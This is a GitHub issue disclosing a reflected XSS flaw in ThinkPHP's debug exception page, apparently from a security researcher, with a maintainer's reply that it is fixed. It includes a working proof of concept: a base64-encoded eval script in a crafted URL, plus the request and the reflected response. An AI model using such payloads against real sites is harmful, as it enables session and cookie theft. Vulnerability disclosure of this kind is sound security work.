top-think / framework

ThinkPHP Framework
http://www.thinkphp.cn
Other
2.71k stars 1.05k forks source link

Reflected XSS(Cross Site Scripting) #2996

Closed asdf1115qwer closed 2 months ago

asdf1115qwer commented 3 months ago

所属功能组件

异常(Exception)

ThinkPHP 版本

up to the latest version

操作系统

Debian

错误信息

The following vulnerable code and PoC were utilised to obtain cookies with the HttpOnly option set, exposed in debug error message, through an XSS vulnerability.

Vulnerable code:

<?php
namespace app\index\controller;

use app\index\model\User;

class Index
{
    public function index(**array $params**)
    {
        setcookie("PHPSESSION", "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08", time()+3600, "/", "", 0);
        echo "session " . session_id("PHPSESSION");
    }
}

Affected version: 5.0.9

<script>eval(atob(`ZG9jdW1lbnQucmVhZHlTdGF0ZT09PSdsb2FkaW5nJz9kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJyxmdW5jdGlvbigpe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2Rpdi5jb2wtbWQtMycpLmZvckVhY2goZGl2PT57aWYoZGl2LnRleHRDb250ZW50LmluY2x1ZGVzKCdQSFBTRVNTSU9OJykpe2FsZXJ0KGRpdi5uZXh0RWxlbWVudFNpYmxpbmcudGV4dENvbnRlbnQudHJpbSgpKTt9fSk7fSk6ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnZGl2LmNvbC1tZC0zJykuZm9yRWFjaChkaXY9PntpZihkaXYudGV4dENvbnRlbnQuaW5jbHVkZXMoJ1BIUFNFU1NJT04nKSl7YWxlcnQoZGl2Lm5leHRFbGVtZW50U2libGluZy50ZXh0Q29udGVudC50cmltKCkpO319KTsK`))</script>

The following request, response and screenshot evidence successful execution of the JavaScript payload.

Request:

GET /?%3Cscript%3Eeval(atob(`ZG9jdW1lbnQucmVhZHlTdGF0ZT09PSdsb2FkaW5nJz9kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJyxmdW5jdGlvbigpe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2Rpdi5jb2wtbWQtMycpLmZvckVhY2goZGl2PT57aWYoZGl2LnRleHRDb250ZW50LmluY2x1ZGVzKCdQSFBTRVNTSU9OJykpe2FsZXJ0KGRpdi5uZXh0RWxlbWVudFNpYmxpbmcudGV4dENvbnRlbnQudHJpbSgpKTt9fSk7fSk6ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnZGl2LmNvbC1tZC0zJykuZm9yRWFjaChkaXY9PntpZihkaXYudGV4dENvbnRlbnQuaW5jbHVkZXMoJ1BIUFNFU1NJT04nKSl7YWxlcnQoZGl2Lm5leHRFbGVtZW50U2libGluZy50ZXh0Q29udGVudC50cmltKCkpO319KTsK`))%3C/script%3E=1 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSION=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
Connection: close

Response:

HTTP/1.1 500 Internal Server Error
Date: Mon, 08 Apr 2024 17:03:49 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.1.18
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 46206

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
  ... [ TRUNCATED ] ...

<body>
    <div class="echo">
            </div>
        <div class="exception">
    <div class="message">

            <div class="info">
                <div>
                    <h2>[0] <abbr title="InvalidArgumentException">InvalidArgumentException</abbr> in <a class="toggle" title="/var/www/thinkphp/library/think/App.php line 281">App.php line 281</a></h2>
                </div>
                <div><h1>方法参数错误:params</h1></div>
            </div>

    </div>
            <div class="source-code">
            <pre class="prettyprint lang-php"><ol start="272"><li class="line-272"><code>                $result = method_exists($className, 'instance') ? $className::instance() : new $className;
</code></li><li class="line-273"><code>            }
</code></li><li class="line-274"><code>        } elseif (1 == $type &amp;&amp; !empty($vars)) {
</code></li><li class="line-275"><code>            $result = array_shift($vars);
</code></li><li class="line-276"><code>        } elseif (0 == $type &amp;&amp; isset($vars[$name])) {
</code></li><li class="line-277"><code>            $result = $vars[$name];
</code></li><li class="line-278"><code>        } elseif ($param-&gt;isDefaultValueAvailable()) {
</code></li><li class="line-279"><code>            $result = $param-&gt;getDefaultValue();
</code></li><li class="line-280"><code>        } else {
</code></li><li class="line-281"><code>            throw new \InvalidArgumentException('method param miss:' . $name);
</code></li><li class="line-282"><code>        }
</code></li><li class="line-283"><code>        return $result;
</code></li><li class="line-284"><code>    }
</code></li><li class="line-285"><code>
</code></li><li class="line-286"><code>    protected static function exec($dispatch, $config)
</code></li><li class="line-287"><code>    {
</code></li><li class="line-288"><code>        switch ($dispatch['type']) {
</code></li><li class="line-289"><code>            case 'redirect':
</code></li><li class="line-290"><code>                // 执行重定向跳转
</code></li></ol></pre>
        </div>
            <div class="trace">
            <h2>Call Stack</h2>
            <ol>
                <li>in <a class="toggle" title="/var/www/thinkphp/library/think/App.php line 281">App.php line 281</a></li>
                                <li>
                at <abbr title="think\App">App</abbr>::getParamValue(<em>object</em>(<abbr title="ReflectionParameter">ReflectionParameter</abbr>), ['**<script>eval(atob(`ZG9jdW1lbnQucmVhZHlTdGF0ZT09PSdsb2FkaW5nJz9kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJyxmdW5jdGlvbigpe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2Rpdi5jb2wtbWQtMycpLmZvckVhY2goZGl2PT57aWYoZGl2LnRleHRDb250ZW50LmluY2x1ZGVzKCdQSFBTRVNTSU9OJykpe2FsZXJ0KGRpdi5uZXh0RWxlbWVudFNpYmxpbmcudGV4dENvbnRlbnQudHJpbSgpKTt9fSk7fSk6ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnZGl2LmNvbC1tZC0zJykuZm9yRWFjaChkaXY9PntpZihkaXYudGV4dENvbnRlbnQuaW5jbHVkZXMoJ1BIUFNFU1NJT04nKSl7YWxlcnQoZGl2Lm5leHRFbGVtZW50U2libGluZy50ZXh0Q29udGVudC50cmltKCkpO319KTsK`))</script>**' => '1'], 0) in <a class="toggle" title="/var/www/thinkphp/library/think/App.php line 242">App.php line 242</a>                </li>
                                <li>
                at <abbr title="think\App">App</abbr>::bindParams(<em>object</em>(<abbr title="ReflectionMethod">ReflectionMethod</abbr>), ['**<script>eval(atob(`ZG9jdW1lbnQucmVhZHlTdGF0ZT09PSdsb2FkaW5nJz9kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJyxmdW5jdGlvbigpe2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ2Rpdi5jb2wtbWQtMycpLmZvckVhY2goZGl2PT57aWYoZGl2LnRleHRDb250ZW50LmluY2x1ZGVzKCdQSFBTRVNTSU9OJykpe2FsZXJ0KGRpdi5uZXh0RWxlbWVudFNpYmxpbmcudGV4dENvbnRlbnQudHJpbSgpKTt9fSk7fSk6ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnZGl2LmNvbC1tZC0zJykuZm9yRWFjaChkaXY9PntpZihkaXYudGV4dENvbnRlbnQuaW5jbHVkZXMoJ1BIUFNFU1NJT04nKSl7YWxlcnQoZGl2Lm5leHRFbGVtZW50U2libGluZy50ZXh0Q29udGVudC50cmltKCkpO319KTsK`))</script>**' => '1']) in <a class="toggle" title="/var/www/thinkphp/library/think/App.php line 193">App.php line 193</a>                </li>
                                <li>
                at <abbr title="think\App">App</abbr>::invokeMethod([<em>object</em>(<abbr title="app\index\controller\Index">Index</abbr>), 'index'], []) in <a class="toggle" title="/var/www/thinkphp/library/think/App.php line 408">App.php line 408</a>                </li>
                                <li>

                                ... [ TRUNCATED ] ...

Screenshot #1:

Screenshot_1

It was observed that the debug error output source code (think_exception.tpl) is vulnerable due to inadequate filtering of function argument values. This vulnerability may render the debug pages susceptible to the extraction of critical information, such as HTTP cookies and file information, through reflected XSS attacks. This vulnerability occurs under specific conditions, particularly when a web server accepts user input as an argument, resulting in the occurrence of errors.

Code: /tpl/think_exception.tpl

Affected Version: v5.0.9

Screenshot #2:

image (1)

Code: src/tpl/think_exception.tpl

Affected Version: v8.0.3

Screenshot #3:

screenshot3

Cross-site scripting (XSS) vulnerabilities enable the execution of malicious JavaScript code that has been inserted by an attacker. This poses significant security risks as it allows for a range of attacks, including session hijacking, theft of sensitive information, internal port scanning, defacement, phishing, keylogging, and unauthorized actions on behalf of the victim.

One common method of exploiting reflected cross-site scripting vulnerabilities occurs when victims unwittingly click on a specially crafted URL containing embedded XSS payloads. These URLs can be disseminated through various channels such as instant messaging, emails, or comments on websites.

In this scenario, an attacker could craft an exploitable link to execute JavaScript code on the debug page. As a result, the debug pages become vulnerable to reflected XSS attacks, enabling the extraction of critical information such as HTTP cookies, file information, and more.

It is recommended to encode the affected values(args, class, function etc) to HTML Entity Encode.

其它说明

The discovery was made by Seryun (Seryeon) Ham from Bitdefender. If you have any questions or require further information, please leave a comment. Additionally, I have registered the finding on the CVE website. Please confirm whether it is possible to disclose this vulnerability via CVE website.

big-dream commented 2 months ago

Thank you very much for your feedback. This issue has been fixed now.


对于没有修复的旧版本,可以参考以下建议: